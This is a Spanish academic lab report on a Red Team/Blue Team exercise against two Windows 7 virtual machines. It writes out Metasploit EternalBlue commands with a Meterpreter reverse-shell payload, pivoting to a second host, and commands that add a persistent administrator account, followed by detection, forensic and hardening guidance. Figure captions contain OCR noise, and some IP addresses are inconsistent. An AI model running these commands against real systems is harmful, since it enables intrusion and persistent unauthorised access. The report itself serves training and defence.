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Resumen
El presente informe técnico evalla las capacidades operativas de SecureNova Labs mediante un
ejercicio de simulacion de ciberseguridad. (Abomhara & Kgien, 2015). La fase de Red Team
revel6 la criticidad de la vulnerabilidad EternalBlue (MS17-010) (Symantec, 2022), una falla en
el protocolo SMBv1 del Host-A (Win7-MV1), que se explotd exitosamente con Metasploit. Esta
intrusion demostrd la eficacia del movimiento lateral (pivoting). (FireEye, 2020; Rashid &
Burns, 2020), comprometiendo posteriormente al Host-B. En contraste, la respuesta del Blue
Team se centr6 en la contencion inmediata a través del aislamiento de la red para mitigar la
propagacion. (Cranor, 2019; ENISA, 2021). Las estrategias de defensa post-incidente incluyen
medidas de Hardening rigurosas (Kampanakis, 2021; IEEE, 2022), enfocadas en la aplicacion de
los Controles CIS (Center for Internet Security [CIS], 2024) y la implementacion de un sistema
SIEM para el monitoreo proactivo. Se resalta la necesidad de distinguir los roles del Blue Team
(defensa continua) del CSIRT/CERT (gestion de crisis). En conclusion (Balozian & Leidner,
2017), los hallazgos demuestran que la seguridad debe ser un proceso continuo, respaldado por la
aplicacion rigurosa de la Ley 1273 de 2009 y una inversion estratégica en deteccion temprana y
resiliencia operativa. El éxito del Red Team expuso la necesidad urgente de fortalecer la postura
defensiva interna.

Palabras clave: BlueTeam, hardening, pivoting, RedTeam, SIEM.



Abstract
This technical report assesses the operational capabilities of SecureNova Labs through a
comprehensive cybersecurity simulation exercise (Abomhara & Kgien, 2015). The Red Team
phase critically exposed the EternalBlue (MS17-010) vulnerability (Symantec, 2022), a flaw in
the SMBV1 protocol on Host-A (Win7-MV1), which was successfully exploited using
Metasploit. This intrusion demonstrated the effectiveness of lateral movement (pivoting)
(FireEye, 2020; Rashid & Burns, 2020), subsequently compromising Host-B. Conversely, the
Blue Team response focused on immediate containment through network isolation to mitigate
propagation (Cranor, 2019; ENISA, 2021). Post-incident defense strategies include rigorous
Hardening measures (Kampanakis, 2021; IEEE, 2022), focusing on applying CIS (Center for
Internet Security [CIS], 2024) Controls and implementing a SIEM system for proactive
monitoring. The necessity of distinguishing Blue Team roles (continuous defense) from the
CSIRT/CERT (crisis management) is highlighted. Findings conclusively (Balozian & Leidner,
2017), demonstrate that security must be an ongoing process, supported by the strict adherence to
regulations like Ley 1273 de 2009 and strategic investment in early detection technologies and
operational resilience. The Red Team's success exposed the urgent need to strengthen the internal
defensive posture.

Keywords: BlueTeam, hardening, pivoting, RedTeam, SIEM.
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Glosario
Blue Team (Equipo Azul):
El equipo de defensa interno de una organizacion, responsable de mantener la postura de
seguridad, endurecer los sistemas, detectar y responder a incidentes.
CSIRT/CERT Computer Security Incident Response Team (o Computer Emergency
Response Team):
Se enfoca en la respuesta reactiva y la gestion de crisis tras la confirmacion de un incidente
de seguridad.
EternalBlue (MS17-010):
Vulnerabilidad critica de ejecucion remota de cddigo en el protocolo Server Message Block
vl (SMBv1) de Windows, explotada en el ejercicio Red Team.
Hardening (Endurecimiento):
Proceso de asegurar un sistema operativo o aplicacién al reducir su superficie de ataque
mediante la eliminacion de servicios innecesarios, la aplicacion de parches y la configuracion
estricta de politicas de seguridad.
Pivoting:
Técnica utilizada por un atacante para utilizar un sistema comprometido (Host-A) como un
punto de salto (pivote) para atacar otros sistemas internos (Host-B) a los que no tenia acceso
directo.
Red Team (Equipo Rojo):
El equipo que simula ser un adversario real, empleando tacticas, técnicas y procedimientos

(TTPs) avanzados para evaluar la eficacia de los controles de seguridad de una organizacion.



SIEM (Security Information and Event Management):
Un sistema centralizado que recopila, normaliza y analiza registros de eventos de seguridad

de diversas fuentes para la deteccion de amenazas y la gestion de incidentes
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Introduccion

En un entorno donde las amenazas digitales evolucionan con rapidez, la ciberseguridad se
ha convertido en un componente indispensable para garantizar la continuidad operativa y la
proteccion de los activos criticos de una organizacion. SecureNova Labs no es ajena a este
desafio, por lo cual el presente informe analiza de manera integral las capacidades ofensivas y
defensivas evaluadas durante el seminario especializado mediante ejercicios basados en
metodologias Red Team y Blue Team.

A lo largo del laboratorio se realizaron simulaciones realistas que permitieron identificar
vulnerabilidades, evaluar la eficacia de los controles actuales y medir la capacidad de respuesta
ante un ataque. El uso de técnicas como la explotacion de EternalBlue, el movimiento lateral y la
creacion de persistencia demostro brechas significativas que requieren atencion inmediata. Del
mismo modo, se evalud la respuesta del Blue Team mediante acciones de contencién, monitoreo,
analisis de eventos y correlacién de indicadores.

Este analisis se enmarca en el cumplimiento del marco legal colombiano, especialmente
la Ley 1273 de 2009, y en los principios €ticos que regulan el ejercicio profesional en
ciberseguridad. Bajo estos lineamientos, el informe integra hallazgos, analisis y propuestas de
mejora orientadas a fortalecer la resiliencia de SecureNova Labs frente a amenazas reales.

(Congreso de Colombia, 2009)
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Justificacion

La elaboracion de este informe se justifica en la necesidad estratégica de SecureNova
Labs de evaluar de manera precisa su postura de seguridad ante un panorama de amenazas cada
vez mas sofisticado. La metodologia Red Team & Blue Team permite replicar técnicas de ataque
realistas y medir la capacidad de deteccion, respuesta y recuperacion de la organizacion.

En el plano técnico, el ejercicio permitid documentar la explotacion efectiva de la
vulnerabilidad MS17-010 y las técnicas de pivoting utilizadas para comprometer multiples hosts.
Estos hallazgos facilitan la priorizacion de medidas de hardening y la adopcién de controles de
seguridad basados en estandares reconocidos como los CIS Controls.

Desde el enfoque organizacional y legal, este informe responde a un requerimiento
institucional dentro del proceso de evaluacién de capacidades profesionales, garantizando que las
actividades se hayan ejecutado bajo los lineamientos éticos y normativos establecidos por la Ley
1273 de 2009. (Center for Internet Security, 2024)

En conjunto, esta justificacion respalda la importancia del informe como herramienta
para orientar decisiones que fortalezcan la seguridad, aumenten la capacidad de resiliencia y

reduzcan los riesgos de compromiso en SecureNova Labs. (Congreso de Colombia, 2012)
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Objetivos

Objetivo General

Presentar un informe técnico integral que relacione los hallazgos criticos de las
actividades de Red Team y Blue Team, y que proponga un conjunto de recomendaciones
estratégicas y de Hardening para SecureNova Labs, con el fin de robustecer su resiliencia ante
futuros ataques cibernéticos y asegurar el cumplimiento normativo.
Objetivos Especificos

Detallar la cadena de ataque del Red Team, identificando la vulnerabilidad explotada y el
procedimiento de movimiento lateral.

Argumentar las acciones de respuesta inmediata y contencion del Blue Team ante el
ataque, incluyendo el aislamiento del host comprometido (NIST, 2018).

Establecer un conjunto de medidas de Hardening basadas en estandares de la industria
(ej. CIS Controls) para mitigar las vulnerabilidades identificadas.

Analizar las implicaciones del marco normativo colombiano (Ley 1273 y Ley 1581) en

las operaciones de ciberseguridad.
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Desarrollo del Informe
Marco Legal y Etico en Ciberseguridad

La practica profesional en ciberseguridad debe operar bajo un marco normativo claro que
garantice la legalidad y la ética en el manejo de los sistemas de informacion. En Colombia, la
Ley 1273 de 2009 constituye la regulacion principal, al tipificar los delitos informaticos y
establecer limites precisos sobre el acceso, la interceptacion y la manipulacion de datos. Esta
normativa exige que cualquier actividad de pruebas de penetracion cuente con autorizacion
formal, delimitada y verificable.

De manera complementaria, la Ley 1581 de 2012 y el Decreto 1377 de 2013 regulan el
tratamiento legitimo de datos personales. (Congreso de la Republica de Colombia, 2012), lo que
implica que tanto las actividades de analisis como las evidencias generadas durante un ejercicio
Red Team-Blue Team deben proteger la privacidad y la confidencialidad de la informacion
procesada

En el plano ético, el Codigo de Etica del COPNIA (Acuerdo 002 de 2015) establece
principios de responsabilidad, transparencia y confidencialidad que el profesional de
ciberseguridad debe respetar en todo momento. Estos lineamientos aseguran que las capacidades
técnicas no se utilicen fuera de los parametros autorizados y que las acciones ejecutadas
respondan a un propasito legitimo de proteccién organizacional.

El desarrollo del ejercicio en SecureNova Labs se enmarca dentro de estos lineamientos,
aplicando tacticas ofensivas y defensivas bajo un entorno controlado y con el objetivo de
fortalecer la postura de seguridad de la organizacion. (European Union Agency for

Cybersecurity, 2021)
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Analisis ético y legal de un acuerdo laboral en el contexto de la ciberseguridad

Este informe examina un caso que revela serias irregularidades dentro de un proceso de
contratacion relacionado con funciones de ciberseguridad, asi como las implicaciones de un
incidente real de ciberespionaje corporativo (Krebs, 2018). Ambos escenarios muestran como
malas practicas administrativas y técnicas pueden vulnerar la legislacion vigente y, al mismo
tiempo, contradecir los principios éticos que deben regir a cualquier profesional del area.

Durante la revision de un acuerdo laboral se identificaron fallas significativas que ponen
en duda su validez juridica y su coherencia ética. EI documento fue elaborado por un abogado
previamente cuestionado por malas practicas y no recibié una revision rigurosa por parte de la
gerencia. Como consecuencia, el contrato presentaba vacios, clausulas ambiguas y condiciones
que podrian afectar la proteccion legal del trabajador. A esto se sumad la presion ejercida sobre
los aspirantes para firmar rapidamente, sin tener claridad sobre los alcances del cargo ni sobre las
responsabilidades asignadas. Incluso se utilizaron pruebas técnicas y exigencias que implicaban
acceso a informacién interna sin soporte normativo, una préctica totalmente improcedente en
procesos de seleccion.

Una situacién especialmente grave fue identificada en el Anexo 3, donde aparecian
clausulas que contradecian la Ley 1273 de 2009, normativa que sanciona los delitos informaticos
en Colombia. Entre estas se encontraba la prohibicion de reportar actividades sospechosas
relacionadas con espionaje digital o uso indebido de datos; la obligacion de guardar silencio ante
informacidn obtenida ilegalmente, como interceptaciones no autorizadas; y, de forma ain mas
preocupante, una exoneracion total de responsabilidad penal para la empresa en actividades que,
por su naturaleza, podrian constituir delito. Tales estipulaciones entran en conflicto directo con

disposiciones asociadas a accesos abusivos, interceptacién de comunicaciones, uso de
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herramientas maliciosas, violacion de datos personales y suplantacion digital. (Congreso de la
Republica de Colombia, 2009)

Desde el punto de vista ético, aceptar un cargo bajo estas condiciones compromete la
integridad profesional. La ciberseguridad implica responsabilidad social, transparencia y
proteccion activa de la informacion. Un profesional que se vea obligado a operar en un entorno
sin garantias legales, o donde se toleran actividades ilicitas, queda expuesto a riesgos
reputacionales, disciplinarios e incluso penales.

Este analisis se complementa con un caso documentado de la empresa para auditar
sistemas de comunicacion gubernamentales. Durante la auditoria, miembros del equipo
accedieron sin autorizacion a informacion clasificada y posteriormente la comercializaron en la
darknet. Este comportamiento, ademas de ilegal, representa una traicion directa a la confianza
del cliente y evidencia el uso indebido de capacidades técnicas. El caso también mostro fallas
como manipulacion de datos, incumplimiento contractual y una postura engafiosa frente a los
entes de control. (FireEye, 2020)

Para evitar situaciones similares, es indispensable que las organizaciones definan limites
claros en el acceso a la informacion, incluyan clausulas de confidencialidad bien estructuradas,
fortalezcan la trazabilidad de las acciones técnicas y exijan compromisos éticos explicitos a cada
integrante del equipo. Cuando se detecten irregularidades, la respuesta debe incluir la rescision
de contratos, la activacién de los mecanismos legales correspondientes, auditorias externas y una
coordinacion estrecha con entidades de ciberseguridad.

Casos de esta naturaleza no solo afectan la proteccion de la informacion: también generan
impactos estratégicos, institucionales y politicos, debilitando la confianza de los usuarios y

comprometiendo la soberania digital del pais (Congreso de la Republica de Colombia, 2008). Por
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ello, la ética y el marco legal deben ser pilares fundamentales en cualquier actividad relacionada
con la ciberseguridad.
Laboratorio de Red Team: Penetracion y Movimiento Lateral (Tactica Ofensiva)

El laboratorio reproduce un escenario realista de compromiso de red, donde el Red Team
actia como un adversario externo con capacidades avanzadas. El objetivo principal fue evaluar
qué tan factible es comprometer los hosts internos de SecureNova Labs partiendo desde un punto
de acceso inicial vulnerable.

El enfoque metodoldgico siguid la I6gica de los marcos Cyber Kill Chainy MITRE
ATT&CK, iniciando con reconocimiento activo, validacion de vectores de ataque, explotacion
remota, elevacion de privilegios, movimiento lateral y consolidacion del acceso mediante
persistencia. Esta estructura permite identificar fallas tanto en controles preventivos como en
mecanismos de deteccion. (MITRE, 2023) (Hutchins et al., 2011)

A nivel tactico, el ataque se centro en la explotacion de la vulnerabilidad MS17-010
(EternalBlue) sobre sistemas Windows 7 desactualizados, una falla ampliamente documentada
que permite ejecucion remota de cddigo a través de SMBV1. Su explotacion exitosa generd
acceso privilegiado, facilité el movimiento lateral hacia otro host de la red y permitio la creacion

de un usuario administrador persistente.

Fase de Reconocimiento y Descubrimiento de Superficie de Ataque
La fase inicial del ejercicio de Red Team se centrd en la creacion y verificacion del
ambiente de laboratorio, un paso fundamental para asegurar la replicabilidad de la prueba y la

correcta asignacion de roles de red (NIST, 2020)
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Configuracion del Ambiente

El entorno de pruebas fue montado en VirtualBox, utilizando un disefio de red que simula
un segmento perimetral y uno interno para el movimiento lateral.
Figura 1

Virtualbox con MV instaladas

‘:_:;:;

Herramientas

ES| Seg. DB

x6af | Win7-MV1
= Corriendo

xeaf | Win7-MV2
= Corriendo

x64=% Parrot OS Security Edition [ e
. Corriendo ]

Nota. La Figura 1 ilustra la configuracion inicial de las tres maquinas virtuales (MV) utilizadas
en VirtualBox: Parrot OS (Atacante), Win7-MV1 (Host-A, sistema objetivo) y Win7-MV2

(Host-B, objetivo interno). Esta configuracion base establece el contexto de la prueba.

Asignacion de Direcciones IP y Segmentos de Red
El Host-A (Win7-MV1) fue configurado como un host Dual-Homed para conectar las dos
redes. Se procedid con la asignacion de direcciones IP fijas a cada adaptador, iniciando por el

segmento perimetral
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Figura 2

Asignacion IP 192.168.0.48 en MV1 de W7(Adaptador 1)

18 User s st reccones de servidor DI
Servidr ONS preferids: .08
Servidor 0% temotio:

Nota. Para el Adaptador 1 (Red 0, segmento perimetral), la Figura 2 muestra la asignacion de la
direccion IP 192.168.0.48 en Win7-MV1. Esta IP es crucial ya que es el punto de entrada inicial

para el atacante.

Figura 3

Asignacion IP 10.10.10.9 en MV1 de W7(Adaptador 2)

Q017+ riraiecmi + Petmeviens » Comormdend +

§ Propiedades de Conenion de areslocsl 2
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Nota. Para el Adaptador 2 (Red 1, segmento interno), la Figura 3 documenta la asignacion de la
direccion IP 10.10.10.9 en Win7-MV1. Este segmento se utiliza posteriormente para la técnica

de pivoting y la explotacién del Host-B

Figura 4

Asignacion IP 10.10.10. en Win7-MV2 en Red1

Win7-MV2 [Corriendo] - Oracle VirtualBox

Archivo Maéquina Ver Entrada Dispositivos Ayuda

EEE] v — :
U Propiedades de Conexién de area local
GO-\@ < Redes ... » Conexiones dered » [ %3] [ Buscar Conexiones de red 2] d
= Funciones de red
Organizar v Deshabilitar este dispositivo dered > g 0 @
Conectar usando:
| Conexién de drea local ‘ ¥ Adaptador de escrtoro Intel(R) PRO/1000 MT ‘
Red no identificada J
@£ Adaptador de escritorio Intel(R) ...
Esta conexdén usa los siguientes elementos:
& Ciente para redes Microsoft
M /&) Programador de paquetes QoS
! =) Compartirimpresoras y archivos para redes Microsoft
=n | -- Protocolo de Intemet versién 6 (TCP/IPv6)
— M .- Protocolo de Intemet versién 4 (TCP/IPv4)
General - Controlador de E/S del asignador de deteccion de topol...
¥ deteccién de ias de nivel de v..
de hacer quela 360 IP se asi i sila
red es compatble con esta funcionaiidad. De o contrario, debers -
;n;u!m con el administrador de red cudl es la configuracion IP e e (e
() Obtener una direccién IP autométicamente Descripcién
" Protocolo TCP/IP. El protocolo de red de drea extensa
(@ Usar la siguiente direccién IP: et que pemite la comunicacién entre varias
Direccién IP: 0.10.10 .11 edes conecladat ertis al;
Méscara de subred: 255.255.255. 0
Puerta de enlace predterminada: R

Servidor DNS alternativo:

—
Obtener la direccién del servidor DNS automaticamente:

© Usar las siguientes direcciones de servidor DNS:

Servidor DNS preferido: 8.8.8.8

ek cnfrasin s
|

T ~

2 | 0 @ =B

Nota. La Figura 4 presenta la asignacion de la direccion IP de la red interna 10.10.10.x al Win7-

MV?2 (Host-B). Esta configuracion confirma la creacion de la Red 1.
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Figura 5

Asignacion y verificacion de la Direccion IP 192.160.0.30 en Parrot OS (Red0)

Nota La Figura 5 documenta la asignacion y verificacion de la Direccién IP 192.160.0.30 en
Parrot OS (Atacante) en la Red 0, asegurando que se encuentre en el mismo segmento del punto

de entrada (Adaptador 1 de Host-A).

Verificacion de la Conectividad

Una vez configuradas todas las interfaces de red, se realizaron pruebas de PING para
verificar la conectividad entre los hosts, asegurando que el ataque pudiera progresar
Figura 6

Ping de Parrot SO a MV1

Parrot Terminal




Nota. La Figura 6 presenta el resultado exitoso del comando PING ejecutado desde Parrot OS
hacia Win7-MV1 (192.168.0.48). Este PING verifico la conectividad del atacante con el host

objetivo.

Figura7

PING desde Win7-MV1 a Parrot OS
&%

£

Firefox

EA Administrader: C:\Windows\system32\cmd.exe

Microsoft Windows [Version 6.1.76611
Copyright <c» 200? Microsoft Corporation. Reservados todos los derechos.

C:~Userssusuvario’> ping 192.168.8.38

192_.168.8.38 con 32 hytes de datos:

192.168.8.38: bytes=32 tiempo=ims TTL=64
Respuesta desde 192.168.8.38: huyt 2 tiempo<im TTL=64
Respuesta desde 192.168.8.308: hytes=32 tiempo=imz= TTL=64
Respuesta desde 192.168.8.38: bytes=32 tiempo<im TTL=64

Panel de control

Ezstadisticas de ping para 192_168.0.38:
Pagquetes: enviadosz = 4, recihidos = 4, perdidos = @
(@ perdidosl.
7 Tiempos aproximados de ida v vuelta en milisegundos:
Minimo = Bms, Maximo = ims,. Media = Bms

Papelera de C:\Uszers’usuario’
reciclaje

Nota. De manera reciproca, la Figura 7 muestra la verificacion de la conexion bidireccional

mediante el PING exitoso desde Win7-MV1 hacia Parrot OS.
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Figura 8

PIG desde Win7-MV1 a Win7-MV2

Nota. La Figura 8 documenta la prueba de conectividad critica dentro del segmento interno (Red
1): el PING exitoso desde Win7-MV1 a Win7-MV2. Este resultado confirma que el movimiento

lateral sera factible una vez comprometido el Host-A.

Transicion al Mapeo de Vulnerabilidades

Nmap (Network Mapper)

Como herramienta de codigo abierto, Nmap desempefia un papel central en los procesos
de reconocimiento durante una prueba de penetracion (European Union Agency for
Cybersecurity [ENISA], 2021). A través del envio de sondas de red y la evaluacion de las
respuestas, permite detectar equipos activos, servicios expuestos y configuraciones del sistema.
Estas capacidades —incluyendo la identificacion de puertos, sistemas operativos y
vulnerabilidades asociadas— son claves para el analisis tactico de los equipos Red Team

(NMAP Project, 2024) (Abomhara & Kagien, 2015)
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Durante el desarrollo del Laboratorio se realizé un escaneo completo de puertos con
Nmap sobre la maquina 192.168.0.48, lo que permitio identificar que el host estaba activo,
ejecutando Windows 7 Professional SP1 y con servicios criticos expuestos, especialmente los
puertos 135, 139 y 445 asociados a RPC y SMB. EI descubrimiento del puerto 445 abierto fue
clave, ya que este servicio permite confirmar la presencia de la vulnerabilidad MS17-010
(EternalBlue). Ademas, se observaron multiples puertos dinamicos propios del manejo interno de
Windows, lo cual es normal en este tipo de sistemas. Con esta informacidn, Metasploit verifico
que el equipo era efectivamente vulnerable, dejando listo el entorno para proceder con la
explotacion y obtener acceso remoto mediante un payload tipo Meterpreter.
Figura 9

Escaneo de la Red — Nmap 192.168.0.48

ions Place stem @ B B o

Search Terminal Help

Nota. Se realiza un escaneo rapido a la RedO y de acuerdo a la respuesta, se pueden observar

puertos abiertos, para el laboratorio se explotara el Puerto 445 dado que esta abierto en Host-
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A/Host-B y también que nos muestre Servicios SMB identificados.

Explotacion del Host-A mediante MS17-010 (RED TEAM)
Identificada la vulnerabilidad, se utiliza Metasploit Framework para preparar un médulo de
explotacion especifico
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.0.48
set LHOST 192.168.0.30
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
El resultado fue la apertura de una sesion Meterpreter, lo que confirma ejecucion remota
de cddigo sobre el host vulnerable. (Metasploit, 2025) (Microsoft, 2017).
Hallazgos significativos
e Elevacion inmediata a NT AUTHORITY\SYSTEM, méxima autoridad en
sistemas Windows.
e Violacion completa de integridad, disponibilidad y confidencialidad.

e Ausencia de mecanismos EDR, IDS o SIEM que alertaran la intrusion.

Esto evidencia una falla estructural del Blue Team en controles preventivos y de
monitoreo, alineandose con MITRE T1068 — Exploitation for Privilege Escalation. (CVE

Details, 2007) (CVE Details, 2011)



Figura 10

Explotacion Host-A con Metasploit

eterpreter/reverse_tcp

Nota. Explotacion exitosa en Host-A

Figura 11

Ingreso a la sesion creada con Metasploit y verificacion de proceso

getuid

Nota. Identificacion del usuario SYSTEM en la sesion Meterpreter

26
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Movimiento Lateral y Explotacion de Host-B (RED TEAM)
Una vez comprometido Host-A, el atacante utilizé la técnica pivoting para acceder al
segmento Red1, donde se encontraba Win7-MV?2.
Mediante el port forwarding de Meterpreter y un nuevo escaneo, se identificé la presencia
del servicio SMB igualmente vulnerable en 10.10.10.11.
La explotacion replicé el procedimiento utilizado en Host-A, permitiendo abrir la Session
2 en Metasploit.
Hallazgos relevantes
e Lared interna carece de segmentacion real: Win7-MV1 actu6 como puente
directo hacia Win7-MV2.
e Simbolo claro de violacion de politicas de “zero trust” y minima exposicion
lateral.
e Ningun control a nivel de ACL o firewall detuvo el trafico SMB lateral.
Esto corresponde a MITRE T1021.002 — SMB/Windows Admin Shares. (FireEye, 2020)
Figura 12

Explotacion Host-B

> set LHOST 192

set RPORT 445

Nota. Explotacion del Host-B.
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Consolidacion del Acceso: Creacion de Usuario Persistente (RED TEAM)

Tras obtener acceso a la maquina comprometida mediante una sesion Meterpreter, se abre
un shell en Host B, permitiendo ejecutar comandos directamente en la consola.

net user haroldarevalo har123* /add

net localgroup administrators haroldarevalo /add

Este tipo de persistencia es comun en ataques reales, ya que permite acceso continuo aun

si se reinicia la maquina o se interrumpe la sesién remota (Rashid & Burns, 2020)

Figura 13

Acceso a Maquina comprometida y creacion de usuario

Nota. Creacidn de usuario y agregacion a grupo de Administradores



Figura 14

Verificacion de creacion en maquina Victima MV2

. Windows'7 professional

Nota. Una vez realizada la explotacién en Host B cerramos sesion para la verificacion en la
creacion del usuario haroldarevalo
Figura 15

Usuario creado MV2 con rol de Administrador

(E=8 E=R 5>

@T:)'l% <« Cuentas de usuario y proteccion infantil » Cuentas de usuario = [ 4| [ Buscar en et Panet de control 2|

Ventana principal del Panel de . . . o

trol . Realizar cambios en la cuenta de usuario

Administrar credenciales Cambiar la contrasefia —

Crear un disco para restablecer Quitarla contraseria haroldarevalo

P eefin Administrador

Cambiar imagen Protegida por contrasefia
Vincular identificadores en ) Cambior o nombre de cuenta
linea

B Camb

@) Administrar otra cuenta

#) Cambiar configuracién de Control de cuentas de usuario

Cambiar las variables de
entorno.

Vea también

& Control parental

AT A e |

Nota. Ingreso a la sesion haroldarevalo y confirmacion de que fue creado como administrador



Figura 16

Comando dir y creacion de archivo txt en maquina explotada
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Nota. Desde Parrot OS en la sesion haroldarevalo, ejecutamos el comando dir para que nos liste

los directorios creados e igualmente con el comando eco creamos archivo txt

Figura 17

Verificacion de archivo txt creado

S | lg » usuario » Descargas »
LEIPMIE 8

Organizar » ) Abrir - Compartir con « Imprimir MNueva carpeta
=
¢ Favoritos MNombre Fecha de medifica.. Tipo Tamaric
& Descargas || harold arevalo 06/12/202510:14 ..  Documento de tex...
Bl Escritorio

| Sitios recientes

3 Bibliotecas

1KB

<| Decumentos " | harold arevalo: Bloc de notas iﬂ@
b=|Imdgenes Archivo  Edicion  Formato Ver Ayuda

@' Misica "Maquina IP 10.10.10.11 totalmente explotada y se crea archivo txt "

B videos

r.a Grupo en el hogar
1% Equipo
.‘;, Disco local (C:)

® Downloads (\\WBoxt

€8 Red

Nota. Desde MV2 comprobamos la creacion del archivo txt y el contenido que se colocé con el

comando eco desde Parrot
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Figura 18

Diagrama de Flujo de la Cadena de Ataque

Inicio

. MV1IP192168.048
:-; Atacante Parrot OS 3
D E ( 1P 101010.9

. IP182168.0.30 w MVZIP 10101011

Topologia Utilizada
Red0 192.168.0.0 '24; Parrot OS 192.168.0.30 ; MV1192.168.0.48
Red1 1010100 24 ;MV110101010.9) 2 MV2(1010.1011

Comando: nmap -p 445 -sV --script smb -vuln-MS17-010 192.168.0.48
Resultado: Puertc 445/ TCP (SMB) ABIERTO y VULNERABLE a M$S17-010

ESCANEO Y RECONOCIMIENTO

—
Exploit:

axploit/ windows
/smb/msi7_010_
cternalblue

Obtencionde Explotacion (Host B)

Accion: Creacion de una ruta de pivoteo
en HOST-A Sesion 3) para obtener
adquirir privilegios NT

AUTHORITY 'SYSTEl alared
interna desde HOST-A

Nota. La imagen resume el proceso completo del ataque realizado en el laboratorio. Primero se
muestra la topologia, donde Parrot OS actlla como atacante y se encuentran dos maquinas
Windows 7 (Host-A y Host-B). Luego, durante el escaneo, se identifica que el puerto SMB 445
esta abierto y vulnerable a MS17-010. Con esa informacion, se ejecuta la explotacién inicial en
Host-A usando Metasploit y el exploit EternalBlue. Una vez comprometido Host-A, se realiza
pivoteo hacia Host-B aprovechando los privilegios NT AUTHORITY/SYSTEM obtenidos.
Finalmente, en Host-B se completa la explotacion creando un usuario administrador a través de

comandos locales, consolidando asi el acceso total a la maqguina objetivo

Respuesta y Contencion Inmediata (BLUE TEAM)
Cuando se realiza el ataque, se inicia desde Parrot OS (192.168.0.30), explotando Win7-

MV1 (192.168.0.48 / 10.10.10.9) mediante MS17-010, y posteriormente realizando movimiento
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lateral hacia Win7-MV2 (10.10.10.11), donde se crea el usuario haroldarevalo como persistencia.
(NIST, 2018)
Para el Blue Team, conocer esta cadena es fundamental para reconstruir los hechos en

tiempo real, porgue la defensa ocurre siguiendo los rastros del atacante.

Deteccion inicial: Reconocimiento
Lo esperado seria que un SIEM identifiqgue multiples paquetes TCP SYN destinados al
puerto 445. Sin embargo, no existia correlacion ni monitoreo, lo que retraso la identificacion del
ataque. (NIST, 2020)
Indicadores esperables:
e Eventos repetidos 5156 (permitié conexion SMB).
e Ausencia de reglas IDS.
Contencidn de explotacion
Una respuesta efectiva incluye:
e Aislamiento inmediato de Win7-MV1.
e Terminacién de procesos asociados a la reverse shell (svchost anémalo).
e Anélisis de conexiones activas con netstat -ano.
Respuesta ante pivoting
El Blue Team debe detectar trafico lateral no autorizado entre MV1y MV2.
Indicadores esperables:
e Eventos 4624 tipo 3 (autenticaciones de red sospechosas).
e Conexiones internas inesperadas sobre SMB.

Respuesta ante persistencia
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e Deteccion de eventos 4720 (creacion de cuenta) y 4732 (adicion a
administradores).
e Eliminacion inmediata de la cuenta maliciosa.

e Auditoria completa del sistema.

Fase Forense

La fase forense es fundamental para reconstruir con precision la secuencia del ataque,
identificar los indicadores de compromiso (10Cs) y establecer las evidencias minimas requeridas
para que la organizacién pueda activar procesos legales o disciplinarios. Aunque el laboratorio
no contemplaba esta fase explicitamente, su integracion es indispensable para cumplir con los
objetivos del seminario.

La investigacion forense debe comenzar inmediatamente despues de confirmar la
intrusion, siguiendo las mejores précticas del estandar NIST SP 800-61 y el ciclo de respuesta a
incidentes.

Preservacion de la Evidencia

El primer paso consiste en aislar las maquinas comprometidas para evitar alteraciones. En
el laboratorio, las maquinas Win7-MV1 y Win7-MV2 habrian sido desconectadas de la red,
preservando su estado para andlisis posterior.

Acciones clave:

e Congelar el estado del sistema (snapshot forense).
e Exportar logs criticos:

- Security.evtx

- System.evtx

- Application.evtx
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e Capturar la tabla de conexiones activas y procesos en ejecucion.
Estas actividades permiten garantizar la cadena de custodia y evitar la contaminacién de

evidencias

Analisis de Eventos del Sistema
La reconstruccion del ataque se apoya en el analisis de eventos generados por Windows.
Eventos representativos que confirmarian la intrusion
e Evento 4624 (Inicio de sesion) tipo 3 desde una IP no autorizada — Indicador de
movimiento lateral.
e Evento 4672 (Privilegios especiales asignados) — Elevacion a SYSTEM tras
explotacion.
e Evento 4720 (Se ha creado una cuenta de usuario) — Confirmacion de creacion
de haroldarevalo.
e Evento 4732 (Cuenta afadida a Administradores) — Escalada persistente
e Evento 5156 (Conexion permitida) sobre puerto 445 — Explotacion EternalBlue.
Estos registros permiten confirmar técnicamente cada fase de la cadena de compromiso

(Symantec, 2022)

Analisis de Procesos y Artefactos Volatiles
El uso de Meterpreter deja rastros caracteristicos:
e Procesos hijos anormales derivados de svchost.exe.
e Cargadinamica de DLLs asociadas a la sesion Meterpreter.

e Conexiones reverse TCP activas hacia Parrot OS.
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Comandos utilizados en una respuesta real:
tasklist /v

netstat -ano

wmic process list full

Estos comandos permiten confirmar la presencia de herramientas de post-explotacion.

Andlisis de Archivos y Cambios en el Sistema

La creacion del archivo TXT mostrado en el laboratorio constituye evidencia directa de
modificacion de informacion en el host comprometido.

Asimismo, la creacion del usuario administrativo haroldarevalo puede verificarse
mediante:

net user

net localgroup administrators

La trazabilidad de estos cambios permite identificar la persistencia del atacante.

Confirmacion de la Vulnerabilidad Explotada

El anélisis forense debe recopilar evidencia de que el sistema no tenia aplicado el parche
KB4013389, causante de la vulnerabilidad MS17-010.

Comando necesario:

wmic gfe list

La ausencia del parche confirma la falla de gestion de vulnerabilidades por parte del Blue

Team.
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Conclusion Forense

La reconstruccion forense confirma:
e Explotacion exitosa de EternalBlue en ambos hosts.
e Pivoting interno debido a segmentacion deficiente.
e Creacion maliciosa de un usuario persistente.
e Ausencia de controles de deteccion, lo que permitio que el atacante operara sin

alertas.
Esta evidencia es critica tanto para el analisis técnico como para la activacion de procesos

disciplinarios y legales.

Medidas de Hardening (Endurecimiento)
Para evitar que el ataque de EternalBlue se repita, se proponen las siguientes medidas de
endurecimiento (Hardening) (Kampanakis, 2021):
Medidas de Hardening basadas directamente en lo observado en el laboratorio
e Control de vulnerabilidades (fallo real: MS17-010 sin aplicar)
- Aplicacion inmediata del parche KB4013389 (Microsoft, 2017).
- Politicas de actualizacion centralizada (WSUS, Ansible, o GPL: Opsi,
WPKG). (Center for Internet Security, 2024)
e Eliminacion de SMBvL1 (protocolo explotado en tu préactica)
- Deshabilitar SMBvV1 en todos los Windows 7.
- Bloquear 445y 139 en toda la red excepto en servidores autorizados.
e Segmentacion obligatoria entre Red0 y Red1 (fallo real: pivoting facil)
- Win7-MV1 nunca debe tener dual-homing directo sin filtrado

- Implementar VLANSs separadas con ACL estrictas
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Hardening de cuentas y privilegios (fallo real: creacion de cuenta admin)

- Habilitar alertas para eventos 4720, 4728, 4732.

- Uso de LAPS o gestidn rotativa de contrasefias

